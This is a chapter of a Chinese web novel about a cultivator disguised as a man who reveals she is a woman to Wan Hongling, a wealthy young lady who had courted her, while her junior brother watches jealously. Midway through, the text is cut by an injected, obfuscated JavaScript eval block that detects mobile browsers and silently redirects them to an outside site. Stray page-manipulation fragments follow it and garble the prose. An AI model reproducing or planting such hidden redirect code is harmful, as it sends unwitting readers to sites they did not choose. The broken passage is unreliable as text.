109. 春心乱(十七)

作品:《宋师兄今天掉马了么

    怎么可能?


    宋术士怎会是女子?


    万红绫僵在原地,手指仍停留在那软腴上,忘了收回。


    手下的触感是如此真实,蓬勃的心跳自皮-肉下传来,震得她手心发痒,手指微蜷。


    纵使……纵使宋术士对自己再怎么不喜,应该也不会捏造如此荒谬的谎言来欺骗她罢……


    所以。


    这是真的。


    脑中好似有一根紧绷的弦,倏地断了。


    这一认知带着摧枯拉朽之势,瞬间冲垮了她所有的预设和期待。


    宋术士并非将人引入寝房意图不轨的登徒子,而是一个怀着巨大秘密、此刻正将这秘密以一种近乎残酷的方式袒露在她面前的……女子。


    她褪去外衫,引导自己触摸,并非在挑逗,而是孤注一掷的坦白么……


    “宋郎……宋术士。”黑暗中,万红绫的声音有些颤抖,带着酒后的干哑,“你为何……为何要扮作男子?”


    她后知后觉地收回手,垂下眼睫,狼狈得不知该往哪里看,恨不得寻个石缝钻进去,教宋岐灵再也寻不见。


    简直……太丢脸了。


    她先前竟对一女子百般殷勤,还说出那般……那般露骨的话,宋术士该如何想她?


    定觉得她轻浮孟浪,是个连男女都分不清的蠢物吧?


    “对不起。”宋岐灵俯身捡起散落在地的衣衫,重新穿回身上,窸悉簌簌声中,她艰难开口,“我并非有意瞒你,也未曾想过会受姑娘青睐。”


    将无相符重新系上,确保周身没有遗漏,她这才站直了身,重新看向万红绫。


    “我先前犯了些错,为了逃避宗门人的追捕,才扮作男子。”顿了顿,她补充道,“因着匿形符的效用,外形与男子无甚区别,这才瞒天过海,无人察觉。”


    “而今似乎不需要了。”她苦笑道,“只是一个谎言需要千万个谎言去圆,以至于到最后,我也……不知该如何向你开口。”


    “万小姐,你是位好姑娘,自有大好的前程与姻缘,我不想你真心错付,白白耽误了年华。”


    万红绫陷在巨大的震惊中久久无法回神,她张了张嘴,却觉得一切言辞都显得无比苍白。


    沉默,她往前踱了几步,鬼使神差地伸手握住宋岐灵的手指,攥在手心不放。


    宋岐灵:“……”


    僵硬了一瞬,因弄不清这姑娘的意图,便也只能由着她动作。


    她没有用力,只是试探性地贴上去,宋岐灵眉梢微抬,手指下意识地蜷缩,腕骨因这动作微微凸起,分明受惊却强作镇定,终究没有抽走。


    这便是默许了。


    于是万红绫的胆子大了起来。


    她的手指顺着对方清晰的手骨线条,缓慢地、一寸一寸地向上移动。


    先是手背,皮肤比看上去更细腻些,能感受到底下筋脉的微弱起伏,然后是手指,一根一根地抚过,从指根到指尖。


    先前,这双手属于一个她心中认定的男郎,可现在……


    万红绫的拇指按上了宋岐灵的手心,那里的皮肤更柔软,也更温热一些,甚至能感到一丝不易察觉的潮意。


    是因为紧张么?


    这个念头划过万红绫的心头,带来奇异的兴奋感。


    一种古怪的满足感,像温热的泉水,从两人相贴的肌肤处,缓缓渗进万红绫的心底。


    从前哪里敢呢?


    男女大防就像一道无形的屏障,将她所有细微的念头都压抑在礼数之下。


    可现在,屏障消失了。


    原来宋术士并不讨厌她。


    她只是,怕自己会撞上她这堵南墙罢了,如此坦诚的宋术士,竟比君子还要君子呢。


    “宋术士。”她大着胆子问道,“你的身份,只我一人知晓么?”


    想到她这般谨慎,刻意避开顾公子的模样,万红绫不由生出几分窃喜,“你那个师弟……似乎并不知晓你的身份啊。”


    “是。”既已说开,宋岐灵自觉没有隐瞒的必要,“他与我并非同宗同门,实乃半路结识,所以他并不知此事。”


    “这样啊……”一颗心好似重新活过来,在胸腔里“砰砰”跳动,“那这便算是属于你我之间的小秘密了么?”


    无言的沉默在二人间蔓延。


    好似过了漫长的岁月,宋岐灵终于在一片茫然中找回了自己的声音:“万姑娘,你不气恼?”


    “我当然气恼。”万红绫一瞬不错地看着面前局促的宋术士,只觉得光线太过昏暗,看不清她如今的表情,着实可惜。


    “可宋术士显然要更为难些,不仅日日提心吊胆,还要被我……这般的女子爱慕,设身处地想,这已不是常人可以承受的苦恼。”


    说到后头,她已然看开:“女子也很好啊,倒觉得比从前亲近。”


    脑中倏尔想起方才二人的那般行径,万红绫面上一热,说话都打起了磕绊,“更何况你待我这般真诚,我……我自是感受得到的。”


    宋岐灵沉默着垂眸,看向覆于手背上的手,缓缓抽回。


    “你能原谅我,真的是太好了。”她将手重新缩回袖子里,如释重负道,“还望万姑娘替我保守秘密,莫要叫旁人知晓。”


    屋子昏沉,似乎还浮动着一股清幽的香气,万红绫鼻头翕动:“自然,宋术士安心便是,我不会说出去的。”


    “既如此,我送你回去。”宋岐灵抬脚往门旁走去,伸手便要撤掉门闩,“以后你莫要单独出行,天黑巷道深,万一遇见歹人,没有身手难以自保,我也放心不下。”


    寝门豁然打开,清风拂面,吹散一室旖旎,门外却空空荡荡,不见顾连舟的身影。


    “对了,宋术士。”万红绫抬脚迈过门槛,面上绯色尚未褪去,一双水盈盈的眸子直直望过来,竟比从前更娇俏几分。


    宋岐灵回头便见她这副模样,心中无端慌乱了几分,“怎么了?”


    莫不是不胜酒力,酒气上头了?


    万红绫目光落在她的脸上,心头微微一颤。


    宋术士虽作男子装扮,却掩不住通身的清隽风姿,这般品貌,比她见过的那些凡夫俗子不知好看上多少倍。


    一时间,心驰神往。


    她唇角微扬,露出一抹粲然的笑来:“我明日、后日,可以来寻你么?”


    宋岐灵毫不犹豫地摇头:“不行。”


    话音落下,这位大小姐秀眉微蹙,不满地嘟囔:“为何?我们分明已经……唔。”


    还未说完,一截掌心豁然将她的嘴堵上,却是宋术士快速逼近,伏首在她耳侧低声道:“姑娘慎言。”


    万红绫眨了眨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398882|182273||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼,“唔”了声算作应答,宋岐灵这才松开手,向后退了一步,双手交叠,恭敬地行了一揖:“万姑娘,我送你回去。”


    夜色已浓,气死风灯在宋岐灵手中微晃着,昏黄的光晕将二人的身影投在青石板上。


    行至巷口,一辆装饰雅致的马车早已静候多时,但见车檐下悬挂的灯笼上,隐约可见一个繁复的“万”字。


    万红绫停下脚步,转身冲着宋岐灵行了一福,她抬起眼,唇角悄悄弯起一抹俏皮的弧度:“宋术士,下回见呀。”


    说罢,也不等她回应,便由候在一旁的丘儿搀扶着登上马车。


    车帘落下,隔绝了内外。


    车夫轻呵一声,鞭子在空中发出清脆的响声,马车便骨碌碌地启动,碾过石板路,渐行渐远,融入远处的夜色与灯火之中。


    宋岐灵站在原地,手中风灯的光晕在她木讷的脸上明明灭灭。


    她望着马车消失的方向,只觉巷口一片寂静,唯有车轮声仿佛还在耳边回荡。


    不对劲。


    这念头如同投入静湖的石子,在她心底漾开一圈圈涟漪。


    万红绫既知晓了她女扮男装的身份,为何对她非但没有丝毫芥蒂,反而态度更显……粘缠?


    这姑娘当真不是醉酒了么……


    -


    夜色渐浓,宋岐灵回到小院,反手合上木门,闩梢落定,发出“喀哒”一声轻响。


    沿着院中小路向前,一丝说不清的不安渐渐浮上心头。


    从方才出门,似乎就一直没见到顾连舟的影子。


    “是回屋了么?”她心下疑惑,正要转身寻人,却莫名感到一缕视线,沉甸甸地压在身上。


    她倏然抬头。


    却见一道人影正斜斜地坐在屋脊之上,身形仿佛被浓稠的夜色泡得松散,几乎要化在其中。


    若不是那一弯清冷的新月恰好悬在他头顶,勾勒出银色的肩线和垂落的长腿,她几乎要以为那是夜色生出的一缕错觉。


    顾连舟单手持着一只酒壶,壶身在月光下泛着幽暗的瓷光,目光从高处垂落下来,恍若带着重量,不偏不倚地罩住她。


    见她也望过来,他并不闪避,只是懒懒地抬手,将壶口凑近唇畔,仰头灌下一口。


    喉结随着吞咽的动作清晰地滚动,阴影在那颈侧利落的线条上一寸寸挪移。


    他默然不语,也不知就这样在黑暗里凝视了她多久。


    夜风拂过,带来周遭若有若无的酒气,以及一种独属于他的、清冽又危险的气息。


    不妙,


    不妙,


    不妙。


    宋岐灵猛然攥住衣角,脑中警铃大作。


    他是何时爬到屋顶上去的?


    在那待了多久?


    可听见了她与万小姐的对话?


    他用这副模样看着自己作甚?是在等问她的罪么?


    不,她方才说话分明极为克制,若在屋外绝不会听见她与万红绫的对话。


    可为何……师弟看向她的眼神这般幽怨,恍若她做了什么十恶不赦的事情?


    这个念头一起,宋岐灵心头莫名发虚。


    是了。


    他今夜一直在喝闷酒,好似不知醉般一杯接着一杯,甚至连口菜都没吃……


    师弟他似乎,很生气啊。